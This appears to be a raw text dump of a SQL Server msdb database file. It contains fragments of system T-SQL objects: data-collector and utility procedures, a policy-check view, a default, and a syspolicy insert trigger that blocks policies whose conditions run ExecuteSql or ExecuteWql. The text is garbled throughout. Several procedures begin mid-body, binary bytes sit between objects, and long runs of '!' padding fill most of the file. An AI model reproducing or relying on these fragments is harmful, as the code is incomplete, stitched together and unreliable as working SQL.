    IF (@is_running = 1)
    BEGIN
        RAISERROR(14711, 0, 1)
    END

    IF (@dump_on_codes = N'')
    BEGIN
        UPDATE [dbo].[syscollector_collection_sets_internal]
        SET dump_on_codes = NULL
        WHERE @collection_set_id = collection_set_id
    END
    ELSE IF (@dump_on_codes IS NOT NULL)
    BEGIN
        UPDATE [msdb].[dbo].[syscollector_collection_sets_internal]
        SET dump_on_codes = @dump_on_codes
        WHERE @collection_set_id = collection_set_id
    END    

    IF (@dump_on_any_error IS NOT NULL)
    BEGIN
        UPDATE [msdb].[dbo].[syscollector_collection_sets_internal]
        SET dump_on_any_error = @dump_on_any_error
        WHERE @collection_set_id = collection_set_id
    END

    RETURN (0)
END
0H y	8
CREATE PROCEDURE dbo.sp_sysutility_ucp_calculate_dac_file_space_health 
  @new_set_number INT
WITH EXECUTE AS OWNER
AS
BEGIN    
    DECLARE @under_utilize_type INT = 1
    DECLARE @over_utilize_type INT = 2;

    -- space_resource_type = 1
    -- datafile_target_type = 2
    -- logfile_target_type = 3
    
    INSERT INTO msdb.dbo.sysutility_ucp_dac_file_space_health_internal(
       dac_name, dac_server_instance_name, 
       fg_name, set_number, processing_time
       , over_utilized_count
       , under_utilized_count
       , file_type)        

    -- Insert the dac filegroup utilization details
    SELECT dd.dac_name
        , dd.dac_server_instance_name
        , fg.Name AS file_group_name
        , @new_set_number
        , dd.dac_processing_time
        , SUM(CASE WHEN df.policy_id IS NOT NULL AND dp.utilization_type = 2 THEN 1 ELSE 0 END) AS over_utilized_count
        , SUM(CASE WHEN df.policy_id IS NOT NULL AND dp.utilization_type = 1 THEN 1 ELSE 0 END) AS under_utilized_count
        , fg.file_type
    FROM msdb.dbo.sysutility_ucp_deployed_dacs AS dd
        INNER JOIN (SELECT 1 AS file_type, server_instance_name, database_name, [Name], processing_time
                    FROM msdb.dbo.sysutility_ucp_filegroups 
                    UNION ALL
                    SELECT 2 AS file_type, server_instance_name, Name as database_name, N'' AS [Name], processing_time
                    FROM msdb.dbo.sysutility_ucp_databases) AS fg
          ON dd.dac_server_instance_name = fg.server_instance_name AND 
             dd.dac_name = fg.database_name
        INNER JOIN msdb.dbo.sysutility_ucp_dac_policies AS dp 
          ON dp.dac_name = dd.dac_name AND 
             dp.dac_server_instance_name = dd.dac_server_instance_name
        LEFT JOIN msdb.dbo.sysutility_ucp_filegroups_with_policy_violations_internal AS df 
          ON df.server_instance_name = dd.dac_server_instance_name AND 
             df.database_name = dd.dac_name AND 
             fg.Name = df.filegroup_name AND 
             dp.policy_id = df.policy_id AND
             df.set_number = @new_set_number
    WHERE dp.resource_type = 1
        AND dp.target_type = fg.file_type + 1 -- target_type = 2 (datafile); 3 (logfile)
    GROUP BY dd.dac_name, dd.dac_server_instance_name, fg.Name , fg.file_type, dd.dac_processing_time            
END
   END
    
    -- Ensure that the package being referred to exists by using the package view. We only continue if we can see 
    -- the specified package. The package will only be visible if we are the associated dbo or sysadmin and it exists
    IF NOT EXISTS (SELECT * from dbo.sysdac_instances WHERE instance_id = @instance_id)
    BEGIN
        RAISERROR(36004, -1, -1)
        RETURN(1)
    END
    
    --Ensure that the package being referred exists
    IF NOT EXISTS (SELECT * from dbo.sysdac_instances_internal WHERE instance_id = @instance_id)
    BEGIN
        RAISERROR(36004, -1, -1)
        RETURN(1)
    END

    BEGIN TRAN 
    
    --Delete the source DacInstance first
    EXEC dbo.sp_sysdac_delete_instance @instance_id = @instance_id
    
    --Update the new version DacInstance metadata with the original DacInstance
    UPDATE [dbo].[sysdac_instances_internal]
    SET instance_id   = @instance_id, 
        instance_name = @instance_name
    WHERE instance_id = @source_instance_id

    COMMIT
    
    SELECT @retval = @@error
    RETURN(@retval)
END
0	~ 8CREATE VIEW dbo.sysutility_ucp_policy_check_conditions 
AS
SELECT
    cc.target_type AS target_type,
    cc.resource_type AS resource_type,
    cc.utilization_type AS utilization_type,
    cc.facet_name AS facet_name,
    cc.attribute_name AS attribute_name,
    cc.operator_type AS operator_type,
    cc.property_name AS property_name
FROM msdb.[dbo].[sysutility_ucp_policy_check_conditions_internal] cc
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!o`+*<|BJދ0. 8
CREATE TRIGGER [dbo].[syspolicy_insert_job_create_trigger] on [dbo].[syspolicy_policies_internal]
FOR INSERT
AS
BEGIN
	DECLARE @retval_check int;
	EXECUTE @retval_check = [dbo].[sp_syspolicy_check_membership] 'PolicyAdministratorRole'
	IF ( 0!= @retval_check)
	BEGIN
		RETURN;
	END

	-- protect against non-scheduled automation jobs
	-- that have expressions that execute script
	DECLARE @row_count int

    SELECT @row_count = count(*) 
        FROM syspolicy_conditions c  
        INNER JOIN inserted i ON (i.condition_id = c.condition_id OR i.root_condition_id = c.condition_id)
        WHERE    i.is_enabled != 0 AND
                i.execution_mode != 4 AND
                (1 = CONVERT(xml, c.expression).exist('//FunctionType/text()[.="ExecuteSql"]' ) OR
                1 = CONVERT(xml, c.expression).exist('//FunctionType/text()[.="ExecuteWql"]' ) ) 
        OPTION (FORCE ORDER);

    SELECT @row_count = @row_count + count(*)
        FROM dbo.syspolicy_target_set_levels l 
        INNER JOIN dbo.syspolicy_target_sets s ON s.target_set_id = l.target_set_id
        INNER JOIN syspolicy_conditions c on c.condition_id = l.condition_id
        INNER JOIN syspolicy_object_sets_internal os ON os.object_set_id = s.object_set_id
        INNER JOIN inserted i ON os.object_set_id = i.object_set_id
        WHERE    i.is_enabled != 0 AND
                i.execution_mode != 4 AND
                (1 = CONVERT(xml, c.expression).exist('//FunctionType/text()[.="ExecuteSql"]' ) OR
                1 = CONVERT(xml, c.expression).exist('//FunctionType/text()[.="ExecuteWql"]' ) )
        OPTION (FORCE ORDER);

    IF (@row_count > 0)
    BEGIN
        RAISERROR(34017, -1, -1);
        ROLLBACK TRANSACTION;
    END

	DECLARE @jobID uniqueidentifier
	DECLARE @schedule_uid uniqueidentifier
	DECLARE @is_enabled bit

	-- verify that values in inserted.schedule_uid are valid
	IF EXISTS (
		SELECT * FROM inserted i 
		WHERE i.schedule_uid NOT IN 
				(SELECT schedule_uid FROM msdb.dbo.sysschedules ) AND 
		((i.execution_mode & 4) = 4))
	BEGIN
		ROLLBACK -- Failure
		RAISERROR (14365, -1, -1)
		RETURN
	END

	-- find all schedules referenced by the inserted policies for which 
	-- there is no agent job that executes the policies
	DECLARE schedule_cursor CURSOR LOCAL FOR
	    SELECT DISTINCT i.schedule_uid
	    FROM inserted i
	    WHERE 
		    ((i.execution_mode & 4) = 4) AND
	        NOT EXISTS (SELECT * 
	                        FROM msdb.dbo.syspolicy_policies p 
	                        WHERE 
	                            p.policy_id NOT IN (SELECT policy_id FROM inserted) AND
	                            p.schedule_uid = i.schedule_uid AND 
	                            ((p.execution_mode & 4) = 4) )
	
	-- iterate through the cursor and create a job for every schedule		
	OPEN schedule_cursor
	FETCH schedule_cursor INTO @schedule_uid
	WHILE @@FETCH_STATUS = 0
	BEGIN
		-- figure out if the job is enabled or not
		SELECT @is_enabled = COUNT(*) 
		FROM inserted i 
		WHERE i.schedule_uid = @schedule_uid AND i.is_enabled = 1
		
		-- explicitly nullify jobID, 
		-- (if we need to create more than 1 job, it will not be null and sp_add_job will think we're getting job from MSX)
		SET @jobID = NULL
		
		-- create the job that is going to execute the schedule
		EXEC [msdb].[dbo].[sp_syspolicy_create_job] @schedule_uid, @is_enabled, @jobID OUTPUT

		-- update the job_id back into the policies table
		UPDATE p SET p.job_id = @jobID 
			FROM msdb.dbo.syspolicy_policies_internal p
			INNER JOIN inserted i ON p.policy_id = i.policy_id
		WHERE 
			i.schedule_uid = @schedule_uid AND
			(i.execution_mode & 4) = 4

		FETCH schedule_cursor INTO @schedule_uid
	END
	
	CLOSE schedule_cursor
	DEALLOCATE schedule_cursor
	
	-- in case we haven't created the job we still need to update 
	-- the policies with their jobID
	UPDATE p
		SET p.job_id = ( SELECT TOP 1 p2.job_id 
						FROM msdb.dbo.syspolicy_policies p2 
						WHERE 
							p2.schedule_uid = p.schedule_uid AND 
							p2.job_id IS NOT NULL)
		FROM msdb.dbo.syspolicy_policies_internal p
		INNER JOIN inserted i ON p.policy_id = i.policy_id
		WHERE 
			((p.execution_mode & 4) = 4) AND
			p.job_id IS NULL
	
	-- See what jobs we need to enable.
	-- This can happen because we might create a new policy that 
	-- is enabled and there is already a job for it, but the existing
	-- job is disabled
	DECLARE jobs_to_enable CURSOR LOCAL FOR
		SELECT DISTINCT j.job_id
		FROM dbo.sysjobs_view j 
		JOIN msdb.dbo.syspolicy_policies p ON p.job_id = j.job_id
		JOIN inserted i ON p.policy_id = i.policy_id
		WHERE 
			((i.execution_mode & 4) = 4) AND
			j.enabled = 0 AND
			EXISTS ( SELECT * from msdb.dbo.syspolicy_policies p2 
						WHERE p2.job_id = j.job_id AND p2.is_enabled = 1)
	
	OPEN jobs_to_enable
	FETCH jobs_to_enable INTO @jobID
	WHILE @@FETCH_STATUS = 0
	BEGIN
		EXEC msdb.dbo.sp_update_job @job_id = @jobID, @enabled = 1
		
		FETCH jobs_to_enable INTO @jobID
	END
	CLOSE jobs_to_enable
	DEALLOCATE jobs_to_enable
	
	-- enable events infrastructure
	IF EXISTS ( SELECT * FROM inserted i WHERE ((i.execution_mode & 1) = 1))
	BEGIN
		EXEC sys.sp_syspolicy_update_ddl_trigger 
	END

	IF EXISTS (SELECT * FROM inserted i WHERE ((i.execution_mode & 2) = 2))
	BEGIN
		EXEC sys.sp_syspolicy_update_event_notification 
	END

	-- update owner information
	UPDATE msdb.dbo.syspolicy_policies_internal
	SET created_by = original_login(),
		date_created = getdate (),
		date_modified = NULL,
		modified_by = NULL
	FROM inserted i,
	   msdb.dbo.syspolicy_policies_internal policies
	WHERE i.policy_id = policies.policy_id
	
END -- create trigger
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`~A<N}C'0{/ P8CREATE DEFAULT default_current_date AS GETDATE()!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!